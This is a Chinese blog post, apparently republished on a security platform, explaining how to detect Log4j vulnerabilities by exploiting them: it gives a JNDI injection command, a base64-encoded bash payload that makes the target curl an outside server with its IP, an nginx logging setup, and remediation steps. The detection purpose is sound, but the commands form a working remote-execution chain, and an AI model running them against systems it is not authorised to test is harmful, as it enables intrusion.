长亭百川云 - 文章详情

轻入侵型精确检测log4j漏洞[linux]

金色钱江

53

2024-07-14

前言:之前看了浅蓝的文章,感觉略有启发,作为检测手段,不管是dnslog类型还是直接远程请求bash类型,都是存在入侵行为的,起码日志里面记录了相关的访问内容,不过只要请求内容不涉密,不获取数据,不篡改目标内容,基本不会造成严重危害,当然dos漏洞除外。

**0x01    准备两台发包服务器
**

准备两台发包服务器
45.141.xxx.xxx(攻击机,JNDI服务器)
193.233.xxx.xxx(web服务器)

**0x02    架设JNDI服务

**

45.141.xxx.xxx服务器架设JNDI服务

cmd

curl http://193.233.xxx.xxx/`netstat -lntpa | grep '45.141.xxx.xxx' | awk '{print $4}' |head -n 1` --user-agent "cunzai"

JNDI服务命令语句

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd"

cmd为上面的cmd语句

cmd可以base64编码

编码便捷网站

https://www.jackson-t.ca/runtime-exec-payloads.html

编码后格式

bash -c {echo,Y3VybCBodHRwOi8vMTkzLjIzMy54eHgueHh4L2BuZXRzdGF0IC1sbnRwYSB8IGdyZXAgJzQ1LjE0MS54eHgueHh4JyB8IGF3ayAne3ByaW50ICQ0fScgfGhlYWQgLW4gMWAgLS11c2VyLWFnZW50ICJjdW56YWki}|{base64,-d}|{bash,-i}

启动JNDI服务

0x03    web服务器设置

193.233.xxx.xxx(web服务器)

本次测试采用ubuntu系统

搭建nginx的web容器

nginx 配置文件

/etc/nginx/nginx.conf

`user www-data;``worker_processes auto;``pid /run/nginx.pid;``include /etc/nginx/modules-enabled/*.conf;``events {`        `worker_connections 43768;``}``http {`        `sendfile on;`        `tcp_nopush on;`        `types_hash_max_size 2048;`        `include /etc/nginx/mime.types;`        `default_type application/octet-stream;`        `ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE`        `ssl_prefer_server_ciphers on;`        `access_log /var/log/nginx/access.log ;`        `error_log /var/log/nginx/error.log;`        `log_format main  '$remote_addr - $remote_user [$time_local] "$request" '`                         `'$status $body_bytes_sent "$http_referer" '`                         `'"$http_user_agent" "$http_x_forwarded_for"';`        `gzip on;`        `include /etc/nginx/conf.d/*.conf;`        `include /etc/nginx/sites-enabled/*;``}`

default文件

/etc/nginx/sites-enabled/default

`server {`        `listen 80 default_server;`        `root /var/www/html;`        `index index.html index.htm index.nginx-debian.html;`        `server_name _;`        `if ($http_user_agent !~* "cunzai") {`           `rewrite ^/(.*)$ https://www.defense.gov/FUCKUSA permanent;`        `}`        `location / {`                `try_files $uri $uri/ =404;`        `}``}`

cunzai那里自己改一下,还有不存在则跳转的链接

启动web服务器

nginx -c /etc/nginx/nginx.conf

如果原来就启动了nginx,直接关闭进程名nginx的进程

pkill -9 nginx

0x04    批量脚本

看咩啊?

批量脚本自己写咯,或者修改我之前发的,自己添加参数,修改请求类型就OK了。

0x05    脚本执行

脚本执行以后是这样的

至于是什么请求,自己修改脚本的时候可以自定义

POST,GET,DELETE,PUT,CONNECT,TRACE

至于有人问如果web访问日志获取到的是内网IP咋整?

自己的资产,内网IP对应哪台服务器难道不知道嘛,又没让扫别人的网络资产。

**0x06 原理
**

攻击机让被检测主机访问jndi服务。

jndi服务引导被检测主机执行curl命令去访问web服务器。

访问web服务器的时候带上了被检测时和攻击机连接的本地IP。

查看web服务器日志就能知道哪些IP存在漏洞去执行了jndi挂载的命令。

**0x07    修复方案
**

1、提高jdk

2、升级log4j

3、安装防火墙(云盾,绿盟、天融信、安恒防火墙都有拦截功能)

4、迁移到公有云(大厂对log4j漏洞利用都有检测和拦截)

5、向安全运维工程师求救,直接给服务器做手术(降权、修改默认服务器命令、设置白名单访问IP)

6、向渗透测试工程师求救,重新对资产进行挨个参数检测确认是否存在log4j漏洞

0x08    声明

本文提到的B段IP只是便于区分攻击机和web服务器。

本文提到的检测手段具有攻击性,请对自己的服务器进行检测。

windows上的检测命令需要的群内咨询

end

投稿方式

联系公众号:Golden-Qianjiang

 金色钱江,讲述杭州IT精英的成长之路!

 关注金色钱江,体验全能技术王者之路!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2